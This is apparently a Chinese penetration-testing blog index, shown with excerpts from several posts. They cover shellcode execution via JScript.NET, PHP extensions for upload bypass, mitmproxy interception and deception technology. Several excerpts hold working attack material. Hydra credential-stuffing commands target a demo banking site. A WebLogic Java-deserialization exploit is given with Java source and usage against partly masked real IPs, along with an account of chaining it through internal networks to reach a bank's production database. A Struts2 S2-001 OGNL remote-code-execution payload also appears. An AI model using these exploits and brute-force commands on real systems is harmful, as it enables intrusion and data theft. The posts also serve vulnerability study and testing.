渗透技巧

执行Shellcode的方法之Jscript.NET

执行Shellcode的方法之Jscript.NET
Execute ShellCode Via Jscript.NET Code: 点击查看Code 参考: https://codegists.com/code/python-execute-shellcode/... 继续阅读 »
渗透技巧

可被PHP解析器解析执行的一些后缀名

可被PHP解析器解析执行的一些后缀名
可被PHP解析器解析执行的后缀名 [一] .php*类 .php. ubuntu 12.04 lts LAMP bypass with .php. .php3 .php4 .php5 .php6 .php7 [二] .ph*类 .pht .phtm .phtml [三] 解析漏洞类 .php.gif .jpg%00.php 参考... 继续阅读 »
渗透技巧

树莓派开机执行脚本制作

树莓派开机执行脚本制作
树莓派设置开机启动脚本 1.创建文件 在 /etc/init.d/文件目录下,创建一个文件用于开机启动SS5,内容如下: pi@(none) /etc/init.d $ cat ss5server case $1 in start) sudo sslocal -c /etc/shadowsocks.json ;; stop) killall ss5server ;; *) echo "Usage: $0 (start|stop)" ;; esac 2.修改执行权限 chmod a+x ss5server 3. 启用开机启动 sudo update-rc.d grabjpg defaults 4. 关闭开机启动 sudo update-rc.d grabjpg remove 参考: http://blog.csdn.net/wanghelou123/article/details/52839214... 继续阅读 »
渗透技巧

Mac OSX下给树莓派安装Raspbian系统

Mac OSX下给树莓派安装Raspbian系统
Play Raspbian With My Mac. 安装过程 下载镜像 Download latest version of wheezy for PI 插入SD卡,用df命令查看当前已挂载的卷: 查看: df -h Filesystem Size Used Avail Capacity iused ifree %iused Mounted on /dev/disk1 233Gi 205Gi 27Gi 89% 53817336 7168006 88% / devfs 186Ki 186Ki 0Bi 100% 645 0 100% /dev map -hosts 0Bi 0Bi 0Bi 100% 0 0 100% /net map auto_home 0Bi 0Bi 0Bi 100% 0 0 100% /home /dev/disk2s1 56Mi 14Mi 42Mi 26% 512 0 100% /Volumes/boot 可能会有叫:/dev/disk1s1的,使用diskutil list命令进行确认 /dev/disk2 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *15.9 GB disk2 1: Windows_FAT_32 boot 58.7 MB disk2s1 2: Linux 15.9 GB disk2s2 ➜ ~ 这里的disk2s1、disk2s2之类的。使用diskutil unmount将这些分区卸载: diskutil unmount disk2s1 diskutil unmount disk2s2 写入系统镜像 使用dd命令将系统镜像写入,需要特别特别注意disk后的数字,不能搞错! /dev/disk2 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *15.9 GB disk2 1: Windows_FAT_32 boot 58.7 MB disk2s1 2: Linux 15.9 GB disk2s2 ➜ Rapi diskutil unmount /dev/disk2s1 Volume boot on disk2s1 unmounted ➜ Rapi diskutil unmount /dev/disk2s2 disk2s2 was already unmounted ➜ Rapi diskutil list /dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *251.0 GB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_CoreStorage Macintosh HD 250.1 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 (internal, virtual): #: TYPE NAME SIZE IDENTIFIER 0: Apple_HFS Macintosh HD +249.8 GB disk1 Logical Volume on disk0s2 6F9A7C1D-3392-4F15-99BA-28C480A99E32 Unlocked Encrypted /dev/disk2 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *15.9 GB disk2 1: Windows_FAT_32 boot 58.7 MB disk2s1 2: Linux 15.9 GB disk2s2 ➜ Rapi sudo dd bs=4m if=2015-05-05-raspbian-wheezy.img of=/dev/disk2 781+1 records in 781+1 records out 3276800000 bytes transferred in 1302.873775 secs (2515056 bytes/sec) 经过20多分钟的等待,终于刷好了! 卸载 ➜ Rapi ➜ Rapi diskutil unmountDisk /dev/disk2 Unmount of all volumes on disk2 was successful 安装mysql sudo apt-get install mysql-server 安装aircrack-ng套件 pkg-config --libs libnl-1 libnl-3 make clean sudo apt-get install pkg-config apt-cache search libnl3 sudo apt-get install libnl-3-dev make sudo apt-get install libnl-genl-3-dev make sudo make install clear... 继续阅读 »
渗透技巧

攻击欺骗技术分享

攻击欺骗技术分享
攻击欺骗技术分享-老马哥 安全攻防背景 企业普通员工-(信息泄露) 信息泄露(互联网应用,云服务) 企业安全团队-(疲于应对安全事件) 各种数据/业务/网络/应用/系统方面的安全漏洞、安全合规等 攻击者 攻击者视角基于目标,手段不限.防守者视角基于经验,常常受限于执行力不足. 常态:渗透成功率100% 原因:1、意识不足 2、管理疏忽 3、信息泄露 4、防御基于攻击行为,总是被动挨打。 安全现状-攻防失衡       1、黑客的肆无忌惮        2、安全人才不够       3、司法打击难       4、。。。。。。。 提出问题:有没有新的思路? 攻击欺骗技术原理 定义:利用欺骗手段阻止或摆脱攻击者的认知 效果:扰乱自动化工具、延迟攻击行为、攻击计划 简单理解:构造陷进,引入陷进,发现攻击行为,隔离攻击,取证,上报司法?? 何为欺骗?钓鱼网站、电信诈骗 哪些人不会被欺骗?没有需求和动机、具备一定认知、伪造的目标现实中就不存在 总结: 欺骗的原理 内因:主观意识和认知、行为习惯 外因:从外部接收到的事物信息 在行动过程中,因内因或外因超出了主观意识对事物的认知和判断能力,导致行动决策出现错误——欺骗成功 攻击欺骗技术的应用-云舒 应用场景:工控安全、黑客攻防、业务安全、其他 欺骗的对象: 攻击者 产品:幻盾,基于攻击混淆与欺骗技术的威胁情报产品。在黑客的攻击路线上,构造陷进。 处理:阻断和隔离攻击,溯源身份及攻击意图。 工作原理: 工作流:|克隆业务|-|伪装漏洞|-|虚拟系统|-|脱敏数据|-|记录行为对应攻击过程:|踩点 |-|找漏洞|-|入侵系统|-|偷数据|-|清理痕迹|一些不一样的点:能提取出自动化攻击行为,人的攻击行为。 举例: 第一天10万次自动化攻击行为 第二天100次人工精准的漏洞利用行为 人的精准化攻击行为威胁度更高,因为攻击是经过筛选自动化扫描后的信息。 **与蜜罐的区别??*** 模拟一切业务 * 与核心业务互相嵌入,悄无声息的转移攻击 * 节点间错综复杂,自动关联,减缓攻击行动。 默安公司介绍 bla bla... 继续阅读 »
渗透工具

Mac下玩耍 mitmproxy 笔记[持续补充~]

Mac下玩耍 mitmproxy 笔记[持续补充~]
Mac下玩耍 mitmproxy 笔记 1.0版本下载地址: 主要的3个文件: mitmdump mitmproxy——启动代理服务 mitmweb——web可视化界面的 如下图: 使用前的配置: 1. 配置环境变量 关于Mac下设置环境变量方法,可以参考这篇文章 配置方法 配置好环境变量后,简单验证如下: 打开终端,输入命令启动mitmproxy: mitmproxy -b 127.0.0.1 -p 8080 此时可以看到终端变成这样: 2. 配置HTTPS证书 和使用burp进行代理抓包一样,MITM也需要安装自己的证书以便抓取HTTPS的请求包。配置浏览器的代理为:127.0.0.1 端口:8080 然后打开URL地址: http://mitm.it/ 下载安装对应的操作系统证书,下面文字介绍的是如何在Mac上安装MITM证书: Apple: How to install on macOS / OSX Download PEM file (from above link) Double-click the PEM file The "Keychain Access" applications opens Find the new certificate "mitmproxy" in the list Double-click the "mitmproxy" entry A dialog window openes up Change "Secure Socket Layer (SSL)" to "Always Trust" Close the dialog window (and enter your password if prompted) Done! 对应翻译: 如何在macOS/OSX系统上安装证书: 下载PEM文件(从上面的链接) 双击PEM文件 打开“钥匙串访问应用程序 在《许可证》的mitmproxy”列表中 双击“mitmproxy”条目 弹出对话窗口openes 变化的安全套接字层(SSL)”到“永远的信任” 关闭该对话框窗口(如果你的密码和输入prompted) 这样做的! 配置后: 3. 测试MITM证书是否可用: 抓取京东登录站(https://passport.jd.com)的https请求 4. 学习MITM的命令: 启动命令: -b: 监听的地址 -p: 监听的端口 mitmproxy -b 0.0.0.0 -p 8080 查看抓包 上下选择[j/k]或者 方向键 上/下 直接回车便可以查看指标所选定的包或者鼠标点击那个位置 Tab键,切换:Request/Response 或者鼠标点击 当要查看的Response的数据很多时,输入“m”切换展现形式 mitmproxy修改抓包 在Enter进入指定的包后,输入“e”然后选择编辑的位置 拦截Request 输入字母“i”(代表Intercept filter)即可,此时界面便会让你输入想要拦截的条件: 这里的条件可以是字符串:admin 当出现被拦截的对象时,就会是标注颜色的: 如下: 然后是Enter进入选择的包,然后e 修改,最后q退到主页,然后a放行修改后的请求。 mitmproxy 拦截response 输入i,然后输入~s 就会拦截响应 拦截所有的request: ~q 拦截特定的header: ~h 拦截特定的domain: ~d 拦截特定的响应代码(404之类的): ~c... 继续阅读 »
渗透技巧

撞库攻击连续剧(1)

 撞库攻击连续剧(1)
撞库攻击连续剧(1) 直接撞库-BT版 所谓的直接撞库,说的是网站的登陆功能简单到只需要输入username和password, 点击-登陆-按钮就能完成登陆的这一类非正常人类设计情况。 这种情况在现实生活中越来越罕见了,针对这种情况,完全可以不用写代码就能搞定。 推荐工具 1. burpsuite burp是作为web狗的入门级工具,使用burp进行爆破就不在多说。 2. hydra 对于我来说使用hydra进行form表单撞库使用的很少,使用参考命令如下: hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 3. htpwdScan htpwdScan神器也很少使用,记录一下参考命令: python htpwdScan.py -f post.txt -d uid=user.txtpassw=password.txt -hsuc="登陆成功标志" 举个栗子,拿testfire网站进行测试: 1.使用hydra撞库: hydra -C user-pass.txt -s 80 -q -e ns -t 6 -m "/bank/login.aspx:uid=^USER^&passw=^PASS^&btnSubmit=Login:S=302 Found" demo.testfire.net http-post-form 效果: 成功撞库6个测试帐号 2.使用htpwdScan撞库 python htpwdScan.py -f post_testfire.txt -d uid=./user.txt passw=./password.txt -hsuc="<title>Object moved</title>" 效果: 以上是我收集的用于直接撞库的工具及利用方式,当然实现的工具远不止上面这些,你若感兴趣可以去收集整理一下,然后给大家分享一下。... 继续阅读 »
渗透技巧

我是如何造Weblogic反序列化漏洞EXP的轮子

我是如何造Weblogic反序列化漏洞EXP的轮子
关键字: Weblogic、反序列化漏洞、EXP0x01. 简介从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:1、  目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。2、  目标以及目标所在内网环境均为Linux或Unix服务器。3、  通过各种手段,只能拿到反弹shell或者webshell 上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。0x02. 思路及实现改写的 Weblogic EXP同样满足4个功能需要,分别如下:1、  连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。2、  上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。3、  执行命令:输入命令,执行命令并回显。4、  断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。1. 连接目标连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:使用Socket利用方式的payload:1.     payload_socket_win_init2.     payload_socket_win_open_port3.     payload_socket_linux_init4.     payload_socket_linux_open_port 使用RMI利用方式的payload:1.     payload_rmi_win_init2.     payload_rmi_win_class3.     payload_rmi_linux_ini4.     payload_rmi_linux_class我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。定义socket方法如下:58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:HELO:10.3.5.0.falseAS:2048HL:19HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:72行是程序的执行入口73——74行获取我们输入目标IP或域名,获取目标端口我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。 测试windows目标:Weblogic10.3.5版本效果:    连接脚本目标目标之前:连接之后: 在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。2. 执行命令执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图: 二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)实现代码大概如下: public class JavaExp {          private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";     private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";       private static String Notices = ""             + "用法:\n"             + "1.一句话命令执行:\n"             + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"             + "2.文件上传\n"             + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";     private static RemoteObject remote;     public static void main(String[] args) throws NamingException {         if(args.length <3){             System.out.println("参数错误!!\n");             System.out.println(Notices);             System.exit(0);         }             String host = args[0];             String port = args[1];             String order =  args[2];             Hashtable<String, String> env = new Hashtable<String, String>();             env.put("java.naming.factory.initial",                     "weblogic.jndi.WLInitialContextFactory");             env.put("java.naming.provider.url", "t3://"                     +host+ ":" + port);             try {                 Context ctx = new InitialContext(env);                 remote = (RemoteObject) ctx                         .lookup("RemoteObject");             try {                 if("unbind".equals(order)){                     try {                         remote.unbind(remoteWindowsPath);                         remote.unbind(remoteLinuxPath);                         System.out.println("unbind_OK");                         return ;                     } catch (Exception e) {                     }                 }                 if("upload".equals(order)){                     if(args.length <5){                         System.out.println("参数错误!!\n");                         System.out.println(Notices);                         System.exit(0);                     }                     String localfilePath =  args[3];                     String remotefilePath = args[4];                                          UploadFile(localfilePath,remotefilePath);                 }else{                     String result = remote.exec(order);                     System.out.print("result:\n"+result);                    }             } catch (Exception e) {             }         } catch (Exception e) {             System.out.println("ConnectFailed");         }     }     public static void UploadFile(final String localfilePath,final String remotefilePath){         new Thread(new Runnable() {             @Override             public void run() {                 FileInputStream fileInputStream = null;                 try {                     File file = new File(localfilePath);                     fileInputStream = new FileInputStream(file);                     long total = file.length();                     byte[] data = new byte[100 * 1024];                     double sendedLen = 0;                     NumberFormat nf = NumberFormat.getPercentInstance();                     int len = fileInputStream.read(data);                         if (len != -1) {                             if (remote.upload(remotefilePath,                                     Arrays.copyOfRange(data, 0, len),                                     false)) {                                 sendedLen = sendedLen + len;                                 System.out.println("上传中...已完成"                                         + nf.format(sendedLen / total));                                 while ((len = fileInputStream                                         .read(data)) != -1) {                                     if (!remote.upload(remotefilePath,                                             Arrays.copyOfRange(data, 0,                                                     len), true)) {                                         System.out.println("上传失败!");                                         break;                                     }                                     sendedLen = sendedLen + len;                                     System.out.println("上传中...已完成"                                             + nf.format(sendedLen                                                     / total));                                 }                                 if (len == -1) {                                     System.out.println("上传成功!");                                 }                             } else {                                 System.out.println("上传失败!");                             }                         } else {                             System.out.println("上传失败!");                         }                 } catch (Exception e) {                     System.out.println("上传失败!");                 } finally {                     try {                         fileInputStream.close();                     } catch (IOException e1) {                     }                 }             }         }).start();     } }从代码的实现功能来看,那么执行命令的调用就是这样的:Java –jar xxxx.jar Ip port “command”3. 上传文件 使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下: 4. 断开连接使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下: 0x03. EXP使用手册usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]                            [-lfile LFILE] [-rfile RFILE] optional arguments: -h, --help       show this help message and exit——查看帮助   -target TARGET  the target ip or domain.——指定目标IP或域名   -port PORT      the target port.——指定目标端口   -cmd CMD      [init|command|bye|upload]—— 选择类型: Ø  init : exp会上传payload,尝试利用反序列化漏洞。 Ø  command: 执行一句话命令 Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。 Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。   -lfile LFILE      local file.——本地文件绝对路径。   -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。1. 连接目标用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init效果:2.    执行一句话命令用法:python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"3.    上传文件使用py脚本用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"或者使用辅助jar文件: 上传文件:或者:查看文件:或者:上传文件:查看文件:4.    断开目标用法:python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye    0x04. 总结写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。总结一下造的这个轮子的功能。1、  适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)2、  支持一句话命令执行。3、  支持文件上传 PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。0x05. 瞎想突然冒出的想法:“蚯蚓式”攻击:假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。A ——B——C——D——…….NA:是内网入口B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。那么我们就可以用这个轮子,一层一层的把他们串起来。1、  攻击者 VS 服务器Apython linux_weblogic_exp.py -target A_IP -port 7001 -cmd init上传攻击EXP轮子到A服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”2、  已沦陷的A服务器 VS B服务器python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init” 控制A上传攻击EXP轮子到B服务器上python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”3、  已沦陷的B服务器 VS C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”让A服务器控制B服务器上传EXP轮子到C服务器python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”4、……不断往下个”蚯蚓式攻击” 上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??... 继续阅读 »
渗透工具

xunfeng-搭建简要记录

xunfeng-搭建简要记录
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。巡风下载地址安装环境:Ubuntu14.04 x64 TSL系统 注意:Python版本不能太低,我在Ubuntu,Win7和Mac上的测试中,使用的都是python 2.7.9版本以上安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、下载mongoDB、巡风代码wget  https://sec.ly.com/mirror/mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz wget https://github.com/ysrc/xunfeng/archive/master.zip      3、解压mongoDB、巡风代码tar -zxvf  mongodb-linux-x86_64-ubuntu1404-3.4.0.tgz apt-get install unzip -y  unzip master.zip      4、配置mongoDB、巡风数据库、日志目录创建数据库目录: mkdir /home/CF_HB/xunfengScanDB 移动mongodb mv /home/CF_HB/mongodb-linux-x86_64-ubuntu1404-3.4.0 /opt/mongodb3.4/ 初始化 nohup /opt/mongodb3.4/mongod --port 65521 --dbpath /home/CF_HB/xunfengScanDB & 导入数据库 /opt/mongodb3.4/mongorestore -h 127.0.0.1 --port 65521 -d xunfeng /home/CF_HB/xunfeng-master/db 配置认证: /opt/mongodb3.4/mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit 创建日志目录 mkdir /var/log/xunfeng 因为我使用的是(普通用户权限安装),为了避免出问题,需要修改下权限 赋予DB目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfengScanDB/ 赋予xunfeng目录权限 sudo chown -R CF_HB:CF_HB /home/CF_HB/xunfeng/      5、修改时区echo TZ\='Asia/Shanghai'\; export TZ >> ~/.bash\_profile source ~/.bash\_profile      6、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      7、修改Run.sh文件vi /home/CF_HB/xunfeng-master/Run.sh #!/bin/bash CURRENT_PATH=`dirname $0` cd $CURRENT_PATH XUNFENG_LOG=/var/log/xunfeng          这里是日志目录 XUNFENG_DB=/home/CF_HB/xunfengScanDB  这里配置MongoDB的路径 [ ! -d $XUNFENG_LOG ] && mkdir -p ${XUNFENG_LOG} [ ! -d $XUNFENG_DB ] && mkdir -p ${XUNFENG_DB} # 下面这里配置了mongodb的绝对路径,或者添入环境变量也可以 nohup /opt/mongodb3.4/bin/mongod --port 65521 --dbpath=${XUNFENG_DB} --auth  > ${XUNFENG_LOG}/db.log & nohup python ./Run.py > ${XUNFENG_LOG}/web.log & nohup python ./aider/Aider.py > ${XUNFENG_LOG}/aider.log & nohup python ./nascan/NAScan.py > ${XUNFENG_LOG}/scan.log & nohup python ./vulscan/VulScan.py > ${XUNFENG_LOG}/vul.log &      8、配置masscan参考:  $ sudo apt-get install git gcc make libpcap-dev $ git clone https://github.com/robertdavidgraham/masscan $ cd masscan $ make      9、启动sudo sh /home/CF_HB/xunfeng-master/Run.sh使用效果:        PS: 可以在Run.py里面自己修改端口安装环境:Windows7 x64 安装过程:      1、安装python库pip install pymongo Flask xlwt paramiko      2、手动下载xunfeng,mongodb安装包    手动操作,手动安装mongodb(默认格式),添加mongodb到环境变量     我解压后放在了:     C:\xunfeng\xunfeng-master      3、解决mongodb的缺少包的错误,下载安装vc_redist.x64.exe下载地址https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=48145       4、配置mongodb创建DB目录 C:\xunfeng\xunfengDB 初始化: mongod.exe --port 65521 --dbpath C:\xunfeng\xunfengDB 导入数据: mongorestore.exe -h 127.0.0.1 --port 65521 -d xunfeng C:\xunfeng\xunfeng-master\db 添加认证: 新开CMD窗口: mongo --port 65521 use xunfeng db.createUser({user:'scan',pwd:'CFHB@@@@@@@',roles:[{role:'dbOwner',db:'xunfeng'}]}) exit     5、修改mongodb的连接密码-Config.py的第10行vi /home/CF_HB/xunfeng-master/Config.py class Config(object):     ACCOUNT = 'admin'     PASSWORD = 'xunfeng321' 这里是http://127.0.0.1:80/的登陆密码 class ProductionConfig(Config):     DB = '127.0.0.1'     PORT = 65521     DBUSERNAME = 'scan'     DBPASSWORD = 'CFHB@@@@@@@' 你的密码在这里修改     DBNAME = 'xunfeng'      6、双击点开Run.bat 启动xunfeng 效果:PS: Github说明那么详细,安装没毛病啊,为啥那么多人各种问题????... 继续阅读 »
渗透技巧

那些年Debug过的[S2-001]笔记

那些年Debug过的[S2-001]笔记
故事背景。      终于鼓起勇气,开始Debug 那些年为之痴狂的Struts2 漏洞。本系列我会抽工作之余,尽最大努力的去构造这一些列漏洞案发的环境,在前人的基础上去Debug还原案发过程中的细节。感谢@RickGray大牛的 Struts2 历史 RCE 漏洞回顾不完全系列 带来的帮助。关于S2-001漏洞    漏洞名:S2-001漏洞,它是Struts2一系列漏洞的噩梦开始,官方地址是:S2-001介绍 ,          官方给的一句话描述 “form表单校验错误时的远程代码执行漏洞”。    漏洞影响范围:Struts 2.0.0 - Struts 2.0.8 ,WebWork 2.2.0 - WebWork 2.2.5     漏洞原因:          上述的Struts2、WebWork版本中使用了xwork-2.0.4以下版本,它默认是启用了altSyntax特性。这个特性允许用户在输入的字符串中包含OGNL表达式,当校验出错的时候,后端程序会对用户提交的参数值用 OGNL 表达式 %{value} 进行匹配,然后放到OGNL中去执行计算结果,重新填充到对应的表单数据中返回给前端响应。所以,我们对payload,可以直接构造%{}形式的OGNL表达式进行RCE。Debug过程        要想Debug这个漏洞,就得还原漏洞发生的环境,这里我直接用了RickGray牛的war包进行调试。    调试环境:Struts2.0.8Tomcat V8.5.9JDK V1.8.0J2EE Eclipse    配置:struts.xml 配置Action类web.xml配置struts过滤器,匹配所有地址发给struts2处理配置Struts2.0.8,ognl,xwork的源码关联。(为了在调试中查看对应源码)       这里跳过怎么配置IDE,Server,部署运行war的环节。因为Struts2会解析标签,去构造生成表单,这里为了调试更简洁,我这里只用Struts2标签构造了最简单的标签写法,就一个name属性,POST传值使用。     代码如下:<%@ page language="java" contentType="text/html; charset=UTF-8"     pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p> <textarea rows="5" cols="80"> POC: %{@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")} </textarea> <h2>Struts2 Tag Form1</h2> <s:form action="login"> <s:textfield name="username" /> <s:password name="password"  /> <s:submit value="点击登陆"></s:submit> </s:form> </body> </html>     Eclipse以Debug方式运行启动Tomcat,带上POC 代码,利用Firefox POST提交表单,并开始调试追踪运行过程。          如果配置了源码关联,这个单步调试过程就比较容易知道当前正在做什么。        根据预先知道的,S2-001漏洞是和标签(Tag)相关,所以主要调到一个叫“ TagHandlerPool.get ”地方来,前面直接F9过了。    F5跟进这里面去看看,因为中间的过程非常多,涉及到各种类比较多,所以这里我的主要思想是尽量往:出现Tag,Ognl,Field字眼的地方去跟进去细看。现在开始跟进这个漏洞主要发生点:<s:textfield>标签。    F5跟进去就到了TextFieldTag类,到了一个定义前端标签的AbstractUITag抽象类,在面向对象编程语言里,有种一切事物皆对象的思想,这个UI标签抽象类可以被具体实现补充,然后得到一个Struts2标签生存的前端展示UI页面。    重写ComponentTagSupport类,构造表单标签属性等。要完成标签需要重写doStartTag,doEndTag函数,下面跟踪这2个函数。    跟进这里,多次调试,告诉我需要F5进去,跟到下面看到进入了UIBean类,根据取名可以大概推断这是在构造最基本的界面UI对象。       跟进evaluateParams(),可以看到这个是在生成标签的属性和赋值。看实现的代码中,label属性和value属性是支持OGNL形式的。     username的值被用%{username}进行了赋值。    跟进findValue查看    追踪getStack():进一步追踪看看上图第29行里面的createValueStack代码,看到了OGNL的影子   追踪到OgnlValueStack定位到最前面调用的findValue函数,然后看到了赤裸裸的Ognl执行地方。  经过漫长的F5过程,终于抓到了案发现场:        最终返回给页面的样子:         响应回前端的信息重新赋的username的值是线程的栈信息,可以在Eclipse里使用鼠标右键-Copy Stack 可以得到。漏洞修复       官方发布信息:https://struts.apache.org/docs/release-notes-209.html         在Struts2.0.9中使用了xwork2.0.4版本,来修复输入表单中OGNL执行漏洞。小记:    1、为了方便暂停观察,加断点是很重要的。        相关资源链接:xwork-2.0.4.jarStruts 2.0.9更新信息Struts2 JAR包下载地址 其他JAR包下载... 继续阅读 »